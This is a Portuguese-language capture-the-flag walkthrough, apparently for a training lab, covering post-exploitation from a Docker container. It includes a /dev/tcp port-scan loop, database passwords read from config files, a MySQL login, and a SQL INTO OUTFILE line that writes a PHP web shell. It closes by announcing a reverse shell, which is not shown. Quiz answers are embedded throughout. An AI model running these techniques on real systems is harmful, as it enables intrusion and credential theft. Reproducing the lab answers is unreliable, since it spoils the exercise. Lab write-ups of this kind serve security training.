Depois de estabilizar o shell, podemos começar com a enumeração pós-exploração, ou seja, encontrar maneiras de escalar privilégios.
Em um sistema Linux padrão, deve estar bastante vazio. No entanto, no contêiner, o arquivo é preenchido com entradas do grupo de controle, podemos confirmar que estamos em uma instância docker
O endereço IP atual é 192.168.100.100. O gateway do contêiner pode ser determinado com arp -a.
www-data@f3d5e5247683:/var/www/admin$ arp -a
arp -a
ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1) at 02:42:b2:6e:75:35 [ether] on eth0
Agora vamos verificar se existe alguma porta aberta neste container
www-data@f3d5e5247683:/var/www/admin$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
</dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open
Aqui, vemos que o gateway possui 4 portas abertas:
Porta 22 – SSH
Porta 80 e Porta 8080 – servidores web
Porta 3306 – SQL
Qual é o gateway padrão para o contêiner Docker?
192.168.100.1
Qual é a porta web alta aberta no gateway do contêiner?
8080
Qual é a porta baixa do banco de dados aberta no gateway do contêiner?
3306
Task 17
No /var/www/wordpress/diretório, encontramos um arquivo chamado wp-config.php. Este arquivo contém credenciais do banco de dados. No entanto, DB_HOSTrefere-se a localhost, que não é nosso alvo. Portanto, essas provavelmente não são as credenciais que desejamos. Ainda os manteremos em mente.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'admin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'DBManagerLogin!' );
A seguir, no /var/www/admindiretório, existe um arquivo chamado db_connect.php. Este arquivo contém exatamente o que estávamos procurando! Credenciais de banco de dados para o DB_SRB192.168.100.1!
www-data@f3d5e5247683:/var/www/admin$ cat db_connect.php
<?php
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');
$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);
if($connection == false){
die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>
Agora podemos utilizar as credenciais obtidas para nos conectarmos ao servidor SQL em 192.168.100.1
www-data@2981aa3e2c18:/var/www/admin$ mysql -u admin -p 192.168.100.1
Enter password:
Isso nos dá acesso total ao banco de dados! Agora podemos pesquisar dados confidenciais. O mais interessante para nós seriam algumas credenciais que poderiam ser usadas para acesso SSH ao gateway.
Qual é o endereço do servidor do banco de dados remoto?
192.168.100.1
Qual é a senha do banco de dados remoto?
!123SecureAdminDashboard321!
Qual é o nome de usuário do banco de dados remoto?
admin
Qual é o nome do banco de dados remoto?
DashboardDB
Qual nome de usuário pode ser encontrado no próprio banco de dados?
gurag
Exploração do SQL - Task 18
Vamos injetar um código PHP para obter execução de comando.
select '<?php $cmd=$_GET["savi"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell_savi.php';
Com qual usuário o banco de dados está sendo executado?
www-data
Task 19
Então, vamos estabelecer um shell reverso. Portanto, como pode ser visto na captura de tela abaixo, primeiro criamos uma carga útil de shell reverso. Em seguida, hospedamos essa carga em um arquivo em um servidor HTTP.